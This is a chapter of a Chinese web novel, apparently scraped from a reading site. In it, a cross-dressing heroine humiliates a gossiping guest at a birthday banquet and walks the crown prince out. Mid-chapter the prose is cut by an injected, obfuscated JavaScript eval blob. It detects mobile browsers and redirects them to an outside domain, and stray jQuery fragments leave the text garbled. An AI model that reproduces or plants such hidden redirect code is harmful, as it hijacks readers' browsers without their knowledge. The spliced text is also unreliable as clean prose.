木明月最后只来了这一日,后面连影都没让云娘子抓住,她跑去老卫国公面前尽孝了。
时间转瞬而逝,来到了云娘子生辰宴当天。
木明月一大早就被叫到了门前迎宾,穿着红衣站着,没了往常的肆意,多了几分规矩感,倒真像个名扬上京的俊俏少年郎。
卫国公府势大,如今正得康明帝重用,前来宾客络绎不绝。
木明月笑着迎人,只感觉嘴角都要被笑僵。
其中不乏有以往的狐朋狗友,都是她以往打着兄长名号结识的。而木辰玉来往的一些公子少的很,多是一些文官家的。
不知不觉站到了中午,离上一趟宾客进去已有一盏茶的时间,家中人少,云娘子先一步进去招待宾客,却让她继续守在门口等。
木明月抬头瞅了眼太阳,蔫唧唧的垂下头,但下一秒前方又传来车轮声。
她抬眼看去,马车四角飞檐纹金,车璧雕刻精美,前方四匹马拉着,声势浩大。
这是谢言秉的马车。
木明月重新扬起笑,不过这次笑的雀跃多了,她没想到他会来。
说起来,除开上次意外碰到,他们已有一个月没见了。
车内的人下来,她已等在旁边,兴冲冲道:“阿执,我们又许久不见了。”
谢言秉微不可察点头,道:“母后得知今日是木夫人的生辰,让孤代为送礼。”
木明月还想说什么,木恒从宴会赶过来,拱手相迎道谢,连连将人迎进了府,做足姿态。顺便还回头瞪了木明月一眼。
木明月:……
好吧,今日诸多外人在场,她是不应该直呼阿执。少女挠了挠头,跟在二人身后进去。
太子会来不仅在木家人的意料之外,也让其他人一惊,又听见皇后娘娘也送了生辰礼,便越发觉得卫国公府深受帝后青眼。
有心之人不由往深处想,太子妃如今还未定下,且卫国公府又有一女,莫不是皇后已经瞧上了卫国公之女?
但偏偏此女如今下落不明。一时之间,不禁有人巴不得木明月这辈子都不出现。
男女席位分开,中间隔着一道小桥流河,女眷摆着屏风。
太子被请到主席,木明月本想在他旁边落座,却被她爹一拽,到了其他席边,美曰其名招待其他男客。
她便只能看着谢言秉背对着她坐下。木明月一来,桌上上谈论顷刻间停下,她扫了一圈神色不明的人,扬笑扯了几句客套话。
几人松了一口气,但几杯酒下肚,便有不长眼的自己凑上来,此人是木木明月曾经的狐朋狗友,专门一起斗虫抓鸟。
陈风凑过来,满口酒气直往木明月脸上呼:“玉兄,我真为你赶到惋惜阿。”
木明月皱眉,用两指推开他,不动声色的问:“哦?今日明明喜事,陈兄何故如此说?”
见木明月没生气,陈风胆子更大了些:“玉兄竟不懂么?如今皇上皇后如此器重卫国公,太子殿下也未订婚,若是令妹没失踪,那位置定是你家的。可如今她多日没消息,哎,怕是……”
陈风话未尽,毕竟有些话还是不能说的,但席上之人都明白他是什么意思。
有人觉得他实在是胆大,余光去看另一人的表情。
木明月眉梢一挑,似笑非笑,有些奇怪自己曾经怎么会和这人混到一起,想来是迷了眼了。
此事扯到皇家,她不便闹大,之后再收拾他也不迟,便举起一盏水浇在他脸上,“陈兄喝多了,口不择言,我来帮你醒醒神。”
“哎……你干……”他余下的话被水给淹没,好不容易擦去眼前的水渍,一只有力的手揽上他肩,手中力道像是要把骨头给捏碎。
面前少年眼中含笑,问:“现在可清醒了些?”
“醒了醒了。”陈风连忙点头,不敢再说话。
心中惊觉阔别六年,在沙场上历练过的木辰玉,已然不是曾经的纨绔好友……
木明月拍了拍他肩,没管其他几人的表情,站起身道:“诸位可喝得尽兴了?宴会上还布置了投壶六博等小玩意,可有人要与我比试一番?”
红衣少年笑的洒脱,一时间都吸引了女眷席频频侧目。
但经历过庆功宴上那事,谁还敢与他比,顿时没人出声,只约着相熟的去比。
木明月挑眉,没因无人应而尴尬,转头看向低头吃菜的陈风,笑道:“既然没人,那我便和陈兄比试吧。”
陈风惊恐,连连拒绝,但少年却跟没听见一样,笑着把他拉过去。
木明月选的投壶,比试点设在两边宴席中间的桥上,方便大家都能看清。
她笑眯眯问:“你先还是我先?”问完却不等陈风回答,又道:“你先。”
陈风有苦难言,上前开始。
今日风缓,干扰少,正是投壶的好日子。陈风上前一步,从侍从手中抽出一支箭。
下一秒箭支飞起,正中壶中,第一箭中了!
众人凝神看着这场比试,谢言秉也看了过来,眼睫狭长,分不清看的是投壶那人,还是站在后面笑盈盈的人。
陈风之后几箭都成功投进,他本就是纨绔子弟,玩这种更是手到擒来。见自己全发全中,陈风脸上洋洋自得。
接下来是木明月,她没看旁边得意的陈风,眼神锐利的在人群中找到谢言秉,他也正往这边看
少女心中更雀跃,下一秒移开视线,紧盯着前方的投壶,箭支离手,稳中壶口。
因着前者全中,本场比试没了悬念,要么陈风赢,要么二人持平,有些人没了趣,回头继续畅聊。
谢言秉也转过身去,他不再看了,心中想着等会便要辞别。
他与众人想的不一样,比起前两种答案,他更倾向木辰玉会赢,至于原因么。
少年垂眸盯着尾指的玉戒,脑中往事流转,那人手中翩飞的箭支残影从眼前划过。
木明月微眯起眼,她还有三支箭。不知想到什么,她噗嗤一声笑了,手中箭支举起,脸上自信又肆意。
众人大惊,皆盯着少年的手——他同时举起了三支箭!
陈风亦愕然,他没想到木辰玉会挑战“分中三孔”。
“分中三孔”是投壶投法其一,投壶者用三矢并投,分中三孔,是投壶技中十分难的一项技艺。
木明月神色专注,微微下蹲,手中紧握着三支箭。刹那间,三支箭如离弦之箭同时飞出,在空中划过三道优美的弧线,一同朝投壶飞去。
“噗噗噗。”
壶口正中一箭,往两旁的壶耳看,其中也插着一箭。
三支箭都落入了投壶中。
下一秒,宾客中发出赞叹声,道木小将军不仅武艺绝伦,投壶手法也堪称一绝。
木明月挂上笑,拍了拍手后看向陈风:“愿赌服输,想好赌注视是什么了吗?”
陈风咬牙:“比试之前你可没说要赌注。”
木明月挑眉:“此时说了也不迟,我也不玩大了。你去摘朵荷花给我,这事便了了。”
荷花在流河之间,想摘一朵并不算难,陈风警惕神色卸下一些,抿唇走去。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668198|173021||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
少女盯着他的背影,脸上虽还挂着笑,但眼底尽是冷意。这些人,一个个都紧盯着卫国公府,试探着他的口风,稍有得意,便会将卫国公府拉下来,像口中妄论持她身份的兄长一般,嘲弄着去势的卫国公府。
如今,她不过是杀鸡儆猴。
下一秒,靠着亭边围栏向下摘荷花的陈风,不知是那里不对,身子向前一倾倒头掉入了流河中。
“啊……!救我!”他在池中扑腾着,众人大惊变故,木明月平下唇角,奔到亭中关心他。
流河中水不深,正常男子站在其中也能露个头,陈风先被木明月给吓着了,现下又遭变故,这才来不及反应。
不一会见没人靠近,他终于发现其中关窍,不再扑腾站了起来,但此次出糗是难以避免的,女眷那边还是不是传来笑声。
陈风不敢再看岸边的木明月,被仆从带着去换衣服。
宴席恢复如初,男客们相互较量着,偶尔看向女眷那边,都想博心仪女子一笑。
木明月重回席位,她爹还没来得怒斥她,谢言秉道要先走一步。
木恒劝了几句,然后把木明月叫过来送客,眼神警告她勿要再惹是非。
少女忍了一会,等到远离宴席,才终于开口搭话。
“阿执,我的分中三孔是不是还如之前一般帅气?”
少年看她,薄唇微动,却问另一件事:“听闻你前些日子,离开京城去找妹妹了,可有什么线索。”
木明月被关禁闭那些日子,卫国公夫妇对外宣告她离京,止住了源源不断的邀约。
少女笑容一僵,想了一会实话实说:“什么都没找到。”
谢言秉默声,康明帝最近心情不是很好,木明月失踪多日,派出大批军马也没找到,而埋伏的幕后之人也没抓到。
他上次偷扔的那封密信没什么作用,上面都是一些无关紧要的人,被拷打也不知道核心内容,案件陷入了僵局。
但这些都是不能和木辰玉透露的。
谢言秉表示自己知道了,但他开了话匣子,不由引得木明月好奇。
少女看了看后面的仆从,问:“阿执也也担心皎皎吗?”
谢言秉微不可察的皱起眉,木辰玉真是大胆,明知京城留言众多,竟敢和他提起木明月的小名。
“木明月的事情虽是家事,但也是国事,她是有功之人,我与父皇都希望他能早日被找到。”
他话落,少女眼睛亮起,心中雀跃。
阿执说他和皇上都等她回来,那是不是,他已与皇上商量好了太子妃的人选……
谢言秉不知他为何心情大好,该问的都问了,他不愿与他多呆,毕竟和他待一起准没好事。
二人已走到府门附近,旁边人突然扯住他袖子。
谢言秉皱眉看他,木辰玉指着远处对他笑:“阿执还记得这些牡丹吗?”
他顺着指的方向看去,是一堆长的正盛的灌木,开始还有些陌生,下一秒一堆回忆涌进脑海。
谢言秉脸色变得奇怪,忍不住讽刺道:“如何不记得,这些可是你奴役我一棵棵搬来的。”
当朝太子,竟对臣子的二人说被奴役,让有心人听到是要大做文章的。
但木明月笑起来,也想起了往事。
木明月:“等到牡丹花开时,我邀你来赏花!”
谢言秉不再说了,重新冷起脸大步跨出府门。木辰玉向来听不懂人话,他又何必再计较。
不过却暗自咬牙,等今晚,他就要派暗卫过来把这些花踏平!